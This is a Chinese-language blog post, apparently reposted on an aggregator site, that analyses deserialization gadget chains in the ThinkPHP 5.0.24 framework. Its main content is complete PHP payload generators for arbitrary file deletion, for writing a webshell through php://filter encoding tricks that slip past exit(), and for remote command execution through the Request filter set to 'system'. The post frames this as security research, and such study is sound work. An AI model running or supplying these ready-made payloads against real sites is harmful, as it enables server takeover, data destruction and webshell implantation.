TP 5.0.24反序列化漏洞分析

这篇具有很好参考价值的文章主要介绍了TP 5.0.24反序列化漏洞分析。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

前言

很久没发过文章了,最近在研究审计链条相关的东西,codeql,ast,以及一些java的东西很多东西还是没学明白就先不写出来丢人了,写这篇tp的原因呢
虽然这个漏洞的分析文章蛮多了,但是还是跟着看了下,一方面是因为以前对pop链挖掘一直学的懵懵懂懂的 ctf的一些pop链能出,但是到了框架里面自己就是挖不出来,所以就想着自己挖下tp反序列化的链子来看看,另一方面是想思考学习下php挖掘利用ast手法去该怎么入手(虽然后面这个问题还没解决),所以就有了这篇文章。
thinkphp v5.0.24漏洞利用,安全,php代码审计,php,安全,web安全
如果有什么问题 欢迎师傅们批评指教,提建议。

正文:

下载地址:http://www.thinkphp.cn/donate/download/id/1279.html

任意文件读取

https://www.anquanke.com/post/id/239242#h2-5
这篇的原理我就不分析了:
原理就是:连接数据库导致的任意文件读取,这种手法常拿来做蜜罐。

反序列化

因为tp本身的反序列化需要二开才能使用,因此我们得把入口函数改为如下
application/index/controller/index.php的内容改为如下的

<?php
namespace app\index\controller;

class Index
{
    public function index()
    {   
        $a = $_GET['string'];
        unserialize($a);


    
    }
}

set方法前

然后进行直接搜索反序列化的 __destruct或者是__wakeup,这里搜索__destruct
thinkphp v5.0.24漏洞利用,安全,php代码审计,php,安全,web安全
一个一个看,发觉Windows类如下
thinkphp v5.0.24漏洞利用,安全,php代码审计,php,安全,web安全
thinkphp v5.0.24漏洞利用,安全,php代码审计,php,安全,web安全
这不就是一个纯纯的任意文件删除且触发__tostring()函数

<?php


namespace think\process\pipes;
class Windows 
{

    /** @var array */
    private $files = ["../abc.php","b.txt"];//这里控制想删除的文件即可
   
    
}
echo urlencode(serialize(new Windows));
?>

接着跟:因为file_exists触发了__tostring函数,因此直接接着跟__tostring函数
搜索得5个 一个一个跟过去
thinkphp v5.0.24漏洞利用,安全,php代码审计,php,安全,web安全
经过一个一个跟最后排除为如下
即从Model.php里面的__toJson()–>toArray()
toArrary()函数
thinkphp v5.0.24漏洞利用,安全,php代码审计,php,安全,web安全
具体的点 即典型变量–>函数找这种 且观察相关的变量是否可控 如果可控即可调用__call函数
这里最开始是思考可以调modelRelation和value参数进而去触发__call函数
thinkphp v5.0.24漏洞利用,安全,php代码审计,php,安全,web安全

先看modelRelation
modelRelation想要触发_call函数的几个条件
①this->append不为空且this->append as key => name
②method_exists(this,relation)存在这个方法
③method_exists(modelRelation, ‘getBindAttr’) 主要就是这个条件直接就把modelRelation触发__call给gg了
因为如果存在这个方法即必然$bindAttr = $modelRelation->getBindAttr();可以满足 即必然无法触发__call函数

再看value参数触发的条件
①this->append不为空且this->append as key => name
②method_exists(this,relation)
③method_exists(modelRelation, ‘getBindAttr’)
④$bindAttr
因此一个一个排查看能否满足这四个条件
第一个条件,因为append是我们自己定义的 因此这个我们可控,第一个条件可满足
thinkphp v5.0.24漏洞利用,安全,php代码审计,php,安全,web安全

第二个条件
method_exists(this, relation)即这个类中存在relation这个方法 且relation由name赋值给予的,即this->append=[‘该类中存在的方法名’];
满足这个即可,因为我们的relation后面还要赋值,因此最好找到可控的
一个一个方法找下去找到 两个满足条件的方法
thinkphp v5.0.24漏洞利用,安全,php代码审计,php,安全,web安全
自此第二个条件可满足,其这里选用的是getError()函数
第三个条件

method_exists($modelRelation, 'getBindAttr')

且由代码可知modelRelation由$this->relation()控制 而relation我们是可控的 因此我们只需要找到一个存在getBindAttr方法的且参数可控的类赋值给其即可
有一个OneToOne类中具有这个方法
且方法可控

thinkphp v5.0.24漏洞利用,安全,php代码审计,php,安全,web安全
但其为抽象类,因此我们直接找继承其的 找到两个相关类 随便选一个即可
thinkphp v5.0.24漏洞利用,安全,php代码审计,php,安全,web安全

这里选择的是BelongsTo这个类 this->error=new BelongsTo(); 赋值即可
第四个条件:

$bindAttr不为空 这个就更简单了
这个由$modelRelation->getBindAttr();方法控制这里的方法就相当于我们上面的$this->bindAttr参数
这个随便进行赋值下即可$this->bindAttr = ["test"=>"test"];  第四个条件满足
自此value参数可触发到 在具体跟value由谁赋值,如果value可控即可完整造成触发_call函数
这里的value参数由$this->getRelationData($modelRelation)方法获取 且由上面分析可知 $modelRelation变量可控

thinkphp v5.0.24漏洞利用,安全,php代码审计,php,安全,web安全
跟进getRelationData方法
thinkphp v5.0.24漏洞利用,安全,php代码审计,php,安全,web安全
发觉有2种情况赋予value值 看第一种
需要满足三个条件

第一:$this->parent存在 且$this->parent 可控,才可可控value值
第二:$modelRelation->isSelfRelation()不满足
第三:get_class($modelRelation->getModel()) == get_class($this->parent)

第一个条件
由于这个我们可以自己定义可控,第一个条件满足
thinkphp v5.0.24漏洞利用,安全,php代码审计,php,安全,web安全
第二个条件:

$modelRelation->isSelfRelation()
由于这里的$modelRelation变量被我们赋值为了BelongsTo的因此我们要看BelongsTo类里面能否有这个方法
直接跟过去

thinkphp v5.0.24漏洞利用,安全,php代码审计,php,安全,web安全
发觉是Relation类且该类为抽象类
因此我们直接找继承
thinkphp v5.0.24漏洞利用,安全,php代码审计,php,安全,web安全
OneToOne也是继承的他 而我们的BelongsTo继承的是OneToOne的 且该函数是直接返回的selfRelation变量且这个变量是自定义的 因为相当于第二个条件我们可以满足 直接不定义这个变量即可满足
第三个条件:

get_class($modelRelation->getModel()) == get_class($this->parent)

和上面的是一个情况 这个getModel在Relation中可存在如下定义即query变量可控 且我们控制的类BelongsTo也可以满足这个条件
即我们也可以可控query变量因此我们只要找到一个类里面的getModel方法我们可控即可满足这个条件
thinkphp v5.0.24漏洞利用,安全,php代码审计,php,安全,web安全

thinkphp v5.0.24漏洞利用,安全,php代码审计,php,安全,web安全
在这里的
Query和ModelNotFoundException均可满足这个条件

thinkphp v5.0.24漏洞利用,安全,php代码审计,php,安全,web安全
这里我们选用的是ModelNotFoundException这个类
走到这里value触发__call()函数完全就可通
构造如下

<?php

namespace think;
use think\Model\Relation\BelongsTo;
use think\console\Output;
abstract class Model 
{
	protected $append = [];
    protected $error;
    protected $parent;
    public function __construct()
    {

    	$this->append=['getError'];
    	$this->error=new BelongsTo();
    	$this->parent=new 我们想控制的类必须跟ModelNotFoundException的model是一样的();
    }
}

namespace think\model\relation;
use think\db\exception\ModelNotFoundException;
class BelongsTo 
{
    protected $query;//去进行触发下一条链
    protected $bindAttr = [];
    public function __construct()
    {
        $this->query = new ModelNotFoundException();
        $this->bindAttr = ["test"=>"test"];//这里随便不为空即可
    }
}

namespace think\db\exception;
use think\console\Output;
class ModelNotFoundException
{

	protected $model;
	public  function __construct()
	{
		$this->model=new 我们想控制的类();
	}
}
namespace think\model;
use think\Model;
class Merge  extends Model{

}
namespace think\process\pipes;
use think\model\Merge ;
class Windows 
{

    private $files = [];
    public function __construct()
    {

    $this->files=[new Merge()];  }
   
    
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows));
?>

到这里后我们接着找__call函数 且这里记住由于上面的method为getAttr 这里的_call的method一定也得是我们getAttr的
直接搜索
thinkphp v5.0.24漏洞利用,安全,php代码审计,php,安全,web安全
这里大概的过一下其他的主要就是method不可控导致的其他的_call函数无法调用
①think\File
thinkphp v5.0.24漏洞利用,安全,php代码审计,php,安全,web安全
thinkphp v5.0.24漏洞利用,安全,php代码审计,php,安全,web安全
②think\Model
thinkphp v5.0.24漏洞利用,安全,php代码审计,php,安全,web安全

③think\Paginator的

thinkphp v5.0.24漏洞利用,安全,php代码审计,php,安全,web安全
且collection可控, n a m e 不可控, name不可控, name不可控,arguments可控

thinkphp v5.0.24漏洞利用,安全,php代码审计,php,安全,web安全
④think\Requet
一样的method不可控导致
thinkphp v5.0.24漏洞利用,安全,php代码审计,php,安全,web安全
⑥think\Yar
thinkphp v5.0.24漏洞利用,安全,php代码审计,php,安全,web安全

⑦db\Connection
类名方法均不可控
thinkphp v5.0.24漏洞利用,安全,php代码审计,php,安全,web安全
⑧db\Query
一样的原因
thinkphp v5.0.24漏洞利用,安全,php代码审计,php,安全,web安全

⑨think\model\Relation
thinkphp v5.0.24漏洞利用,安全,php代码审计,php,安全,web安全

⑩think\view\driver\Think
thinkphp v5.0.24漏洞利用,安全,php代码审计,php,安全,web安全
这里只有第五条个__call函数可以思考利用
think\Output的这个
因为参数固定了即直接调用block函数且参数为$args
thinkphp v5.0.24漏洞利用,安全,php代码审计,php,安全,web安全
因此我们重点接着跟block函数
thinkphp v5.0.24漏洞利用,安全,php代码审计,php,安全,web安全
thinkphp v5.0.24漏洞利用,安全,php代码审计,php,安全,web安全

这里到了handle,handle是一个我们可以控制的变量,因此这里可以拿来做一层跳板
thinkphp v5.0.24漏洞利用,安全,php代码审计,php,安全,web安全
搜索有write类的方法 找到12个相关的

thinkphp v5.0.24漏洞利用,安全,php代码审计,php,安全,web安全
这里就不每个都写出来了
重点就是Memcache方法和Memcached方法 里面的handler可控,造成可以在做一次跳板
thinkphp v5.0.24漏洞利用,安全,php代码审计,php,安全,web安全
set方法相关的15个
thinkphp v5.0.24漏洞利用,安全,php代码审计,php,安全,web安全
走到了这里就可以有两种思路拿shell了
前面的payload构造

<?php

namespace think;
use think\Model\Relation\BelongsTo;
use think\console\Output;
abstract class Model 
{
	protected $append = [];
    protected $error;
    protected $parent;
    public function __construct()
    {

    	$this->append=['getError'];
    	$this->error=new BelongsTo();
    	$this->parent=new Output();
    }
}

namespace think\model\relation;
use think\db\exception\ModelNotFoundException;
class BelongsTo 
{
    protected $query;//去进行触发下一条链
    protected $bindAttr = [];
    public function __construct()
    {
        $this->query = new ModelNotFoundException();
        $this->bindAttr = ["test"=>"test"];//这里随便不为空即可
    }
}

namespace think\db\exception;
use think\console\Output;
class ModelNotFoundException
{

	protected $model;
	public  function __construct()
	{
		$this->model=new Output();
	}
}

namespace think\console;
use think\session\driver\Memcached;
class Output{
    private $handle;//去触发Memcached的set,第一层跳板
    protected $styles = [
        "getAttr"
    ];
    public function __construct()
    {
        $this->handle = new Memcached();
    }

}


namespace think\session\driver;
use think\cache\driver\File;
class Memcached{
	protected $handler = null;
	function __construct(){
		$this->handler=new 存在set方法的调用类();

	}

}


namespace think\model;
use think\Model;
class Merge  extends Model{

}
namespace think\process\pipes;
use think\model\Merge ;
class Windows 
{

    private $files = [];
    public function __construct()
    {

    $this->files=[new Merge()];  }
   
    
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows));

?>
调用链:

thinkphp v5.0.24漏洞利用,安全,php代码审计,php,安全,web安全
thinkphp v5.0.24漏洞利用,安全,php代码审计,php,安全,web安全
toArray具体分析
因为append我们是可以可控的 因此重点关注value可控以及进入到value的三个条件即可
thinkphp v5.0.24漏洞利用,安全,php代码审计,php,安全,web安全
__call函数调用的原理
thinkphp v5.0.24漏洞利用,安全,php代码审计,php,安全,web安全

set方法后

任意文件写入

这个就是think\cache\driver\File.php文件的set方法导致的 这里面有个file_put_contents()方法
thinkphp v5.0.24漏洞利用,安全,php代码审计,php,安全,web安全
这里面文件名的获取方式:通过getCacheKey进行获取,且进行拼接options[‘path’]而name也可以等于options[‘prefix’] 因此文件名我们是完全可控的
thinkphp v5.0.24漏洞利用,安全,php代码审计,php,安全,web安全
thinkphp v5.0.24漏洞利用,安全,php代码审计,php,安全,web安全
但是内容是由data来的 data根据之前回溯可知是一个true变量 因此导致的问题就是内容是我们不可控的 当时因为走到了这里g了
但是往下走发觉
thinkphp v5.0.24漏洞利用,安全,php代码审计,php,安全,web安全
setTagItem这个方法中再次调用了file里面的set方法 且这里的set方法传进来的name是filename最后且赋值给了value参数 即导致上面的data是可控的了,因此只要满足执行setTagItem方法就可以导致任意文件写入了
条件即是
result,first为true,因为这里的result为写入内容的所以恒等于真,因此我们只需要把first整为存在即可
且又因为first由$this->tag和!is_file决定 且is_file我们可控,因此我们只需要满足tag为真即可,且这个tag是我们可控的因此我们是可以满足调用setTagItem方法的
走到了这里就是绕exit();方法了
最开始想不明白怎么绕

查了下相关的资料发觉可以利用伪协议来绕过
原理是因为
当file_put_contentes()的参数内容伪造协议的时候,默认会把内容按照这些编码,编码后去进行写入文件,从而绕过exit();函数。
liunx和windows对应的payload

linux绕过payload

php://filter/write=string.rot13/resource=<?cuc @riny($_CBFG[\'pzq\']);?>

windows的

$this->options['path']=php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php

自此一个完整的任意文件写入的链子就有了 且加入输入文件名的

<?php

namespace think;
use think\Model\Relation\BelongsTo;
use think\console\Output;
abstract class Model 
{
	protected $append = [];
    protected $error;
    protected $parent;
    public function __construct()
    {

    	$this->append=['getError'];
    	$this->error=new BelongsTo();
    	$this->parent=new Output();
    }
}

namespace think\model\relation;
use think\db\exception\ModelNotFoundException;
class BelongsTo 
{
    protected $query;//去进行触发下一条链
    protected $bindAttr = [];
    public function __construct()
    {
        $this->query = new ModelNotFoundException();
        $this->bindAttr = ["test"=>"test"];//这里随便不为空即可
    }
}

namespace think\db\exception;
use think\console\Output;
class ModelNotFoundException
{

	protected $model;
	public  function __construct()
	{
		$this->model=new Output();
	}
}

namespace think\console;
use think\session\driver\Memcached;
class Output{
    private $handle;//去触发Memcached的链
    protected $styles = [
        "getAttr"
    ];
    public function __construct()
    {
        $this->handle = new Memcached();
    }

}


namespace think\session\driver;
use think\cache\driver\File;
class Memcached{
	protected $handler = null;
	function __construct(){
		$this->handler=new File();

	}

}
namespace think\cache;
abstract class Driver
{
   
}

namespace think\cache\driver;
use think\cache\Driver;
class File extends Driver
{
	protected $tag;
	protected $options=[];
	public function __construct(){
	$this->options = [
        'expire'        => 0,
        'cache_subdir'  => false,
        'prefix'        => '',
        'path'          => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgcGhwaW5mbygpOz8+IA==/../a.php',
        'data_compress' => false,
    ];
      $this->tag = true;
	}
    public function get_filename()
    {
        $name = md5('tag_' . md5($this->tag));
        $filename = $this->options['path'];
        $pos = strpos($filename, "/../");
        $filename = urlencode(substr($filename, $pos + strlen("/../")));
        return $filename . $name . ".php";
    }

}

namespace think\model;
use think\Model;
class Merge  extends Model{

}
namespace think\process\pipes;
use think\model\Merge ;
class Windows 
{

    private $files = [];
    public function __construct()
    {

    $this->files=[new Merge()];  }
   
    
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows));

use think\cache\driver\File;
echo "\n";
$fx = new File();
echo $fx->get_filename();
?>



thinkphp v5.0.24漏洞利用,安全,php代码审计,php,安全,web安全
thinkphp v5.0.24漏洞利用,安全,php代码审计,php,安全,web安全

调用链:

thinkphp v5.0.24漏洞利用,安全,php代码审计,php,安全,web安全

RCE

set方法之前和前面一样set方法后有区别了
set选择的时候也可以选择
think\cache\driver\Memcache.php或者think\cache\driver\Memcached.php这两个方法
里面有个has($name)方法
当tag为真时进入到has()方法中去,因此这里的tag需要赋一个值不能为空
thinkphp v5.0.24漏洞利用,安全,php代码审计,php,安全,web安全
重点就是这里了 这里的handler又可以做一个跳板 且调用的是get方法 走到这里就可以走tp的经典request->get导致rce了
thinkphp v5.0.24漏洞利用,安全,php代码审计,php,安全,web安全
thinkphp v5.0.24漏洞利用,安全,php代码审计,php,安全,web安全
经典回调函数导致RCE
thinkphp v5.0.24漏洞利用,安全,php代码审计,php,安全,web安全

<?php

namespace think;
use think\Model\Relation\BelongsTo;
use think\console\Output;
abstract class Model 
{
	protected $append = [];
    protected $error;
    protected $parent;
    public function __construct()
    {

    	$this->append=['getError'];
    	$this->error=new BelongsTo();
    	$this->parent=new Output();
    }
}
namespace think\model\relation;
use think\db\exception\ModelNotFoundException;
class BelongsTo 
{
    protected $query;//去进行触发下一条链
    protected $bindAttr = [];
    public function __construct()
    {
        $this->query = new ModelNotFoundException();
        $this->bindAttr = ["test"=>"test"];//这里随便不为空即可
    }
}

namespace think\db\exception;
use think\console\Output;
class ModelNotFoundException
{

	protected $model;
	public  function __construct()
	{
		$this->model=new Output();
	}
}

namespace think\console;
use think\session\driver\Memcached;
class Output{
    private $handle;//去触发Memcached的链
    protected $styles = [
        "getAttr"
    ];
    public function __construct()
    {
        $this->handle = new Memcached();
    }

}
namespace think\cache;
abstract class Driver{
 
}
 
namespace think\session\driver;
use think\cache\driver\Memcache;//这里是write的方法
use think\cache\Driver;
class Memcached {               
    protected $handler;
    public function __construct()
    {
        $this->handler = new Memcache();
    }

}
namespace think\cache\driver;
use think\Request;
class Memcache{
    protected $tag = "test";
    protected $handler;//触发Request的链
    protected $options = ['prefix'=>'goddemon/'];
    public function __construct()
    {
        $this->handler = new Request();
    }
}

namespace think;
class Request{
    protected $get = ["goddemon"=>'whoami'];
    protected $filter;
    public function __construct()
    {
        $this->filter = 'system';
    }
}
namespace think\model;
use think\Model;
class Merge  extends Model{

}
namespace think\process\pipes;
use think\model\Merge ;
class Windows 
{

    /** @var array */
    private $files = [];
    public function __construct()
    {

    $this->files=[new Merge()];  }
   
    
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows));
?>



打即可
thinkphp v5.0.24漏洞利用,安全,php代码审计,php,安全,web安全
这里有个坑就是 protected $options 必须需要赋值且和下面的get方法的名字必须是一样的
这里当时debug了一会
原理如下:
错误的示范:
当如这样时
thinkphp v5.0.24漏洞利用,安全,php代码审计,php,安全,web安全
因为name最后会进入到input方法中去进行切割,查找是否存在/ 存在的即分割然后赋予list 否则则type=‘s’
这也是为什么/不能少的原因

thinkphp v5.0.24漏洞利用,安全,php代码审计,php,安全,web安全
然后进行判断,判断是否存在 d a t a [ data[ data[val]即$data[name]即我们传入的name值,如果不存在则直接返回了 导致到不了filtervalue函数 进而无法rce 因此我们必须控制这里的prefix和get里面的为相同的
thinkphp v5.0.24漏洞利用,安全,php代码审计,php,安全,web安全
正确的即rce链中的方式

调用链:

thinkphp v5.0.24漏洞利用,安全,php代码审计,php,安全,web安全文章来源地址https://www.toymoban.com/news/detail-799136.html

到了这里,关于TP 5.0.24反序列化漏洞分析的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 网络安全之反序列化漏洞分析

    FastJson 是 alibaba 的一款开源 JSON 解析库,可用于将 Java 对象转换为其 JSON 表示形式,也可以用于将 JSON 字符串转换为等效的 Java 对象分别通过 toJSONString 和 parseObject/parse 来实现序列化和反序列化。 使用 对于序列化的方法 toJSONString() 有多个重载形式。 SerializeFeature : 通过设置

    2024年02月08日
    浏览(40)
  • 【新】通达OA前台反序列化漏洞分析

    0x01 前言 注:本文仅以安全研究为目的,分享对该漏洞的挖掘过程,文中涉及的所有漏洞均已报送给国家单位,请勿用做非法用途。 通达OA作为历史上出现漏洞较多的OA,在经过多轮的迭代之后已经很少前台的RCE漏洞了。一般来说通达OA是通过auth.inc.php文件来进行鉴权,如图

    2024年02月14日
    浏览(45)
  • Java反序列化漏洞-URLDNS链分析

    目录 一、前置知识 反射 二、分析 1. URL 2. HashMap 3. 解决一些问题 反射修改字段值 三、POC 四、利用链 菜鸟教程 Java 序列化 Java安全-反射 URLDNS链的作用就是在目标主机中可能存在反序列化输入的数据的地方,传入序列化后的URLDNS利用链,如果目标主机解析了这个URL地址,那么

    2024年02月04日
    浏览(50)
  • Laravel 9.1.8 反序列化漏洞分析及复现

    反序列化漏洞是如今很常见的漏洞类型,有很多分类,也有很多绕过方式。本文选取了一个今年比较典型的反序列化漏洞,进行了一个分析并复现。 Laravel是一套简洁、优雅的PHP Web开发框架。 近日,Laravel 被披露存在多个安全漏洞,可允许通过反序列化POP链实现远程代码执行

    2024年02月06日
    浏览(55)
  • Java反序列化漏洞-CC1利用链分析

    目录 一、前置知识 1. 反射 2. Commons Collections是什么 3. 环境准备 二、分析利用链 1. Transformer 2. InvokeTransformer 执行命令 3. ConstantTransformer 4. ChainedTransformer 执行命令 5. TransformedMap 6. AbstractInputCheckedMapDecorator 7. AnnotationInvocationHandler 三、编写POC 1. ChainedTransformer 2. decorate 3. Annotatio

    2024年02月04日
    浏览(45)
  • thinkphp 反序列化漏洞

    php.ini 配置phpstorm中的CLI解释器、本地服务器、调试的端口、DBGp代理以及phpstudy中的版本、扩展 配置防调试超时 测试版本5.1.37 适用版本5.1.16-5.1.40 修改控制器 查找入口__destruct,进入windows类 查看removeFiles方法 poc1(任意文件删除) TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0O

    2024年02月11日
    浏览(37)
  • ThinkPHP v6.0.8 CacheStore 反序列化漏洞

    1. 漏洞原理:ThinkPHP 6.0.8 CacheStore 会触发POP利用链子,造成任意命令执行 2. 组件描述: ThinkPHP是一个免费开源的,快速、简单的面向对象的轻量级PHP开发框架 3. 影响版本:V6.0.8 1. 环境安装:ThinkPHP6.0正式完整版下载_其他_技术博文_js代码 下载v6.0.8,使用命令php think run即环境

    2024年02月14日
    浏览(31)
  • Fastjson反序列化漏洞(1.2.24 RCE)

    目录 (一)Fastjson介绍 1、认识Fastjson 1.1 序列化 1.2  反序列化 1.3 @type 自省 Autotype (二)漏洞原理 1、比较常用的攻击类 1.1  com.sun.rowset.JdbcRowSetImpl 1.2 com.sun.org.apache.xalan.internal.xsltc.trax. TemplatesImp (三)1.2.24 RCE复现 1、vulnhub启动 注意:Linux配置JRE版本 2、攻击机监听(

    2024年02月07日
    浏览(49)
  • Fastjson历史反序列漏洞分析(1.2.24-1.2.80)

    目录 =1.2.25fastjson反序列化注入 =1.2.42fastjson反序列化注入 =1.2.43fastjson反序列化注入 =1.2.45fastjson反序列化注入 1.2.46fastjson反序列化注入 =1.2.47fastjson反序列化注入 1.2.48fastjson反序列化注入 =1.2.62fastjson反序列化注入  =1.2.66fastjson反序列化注入 =1.2.67fastjson反序列化注入 =1.2.68fastjs

    2023年04月21日
    浏览(73)
  • 【精选】PHP&java 序列化和反序列化漏洞

    目录 首先 其次 技巧和方法

    2024年01月23日
    浏览(52)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包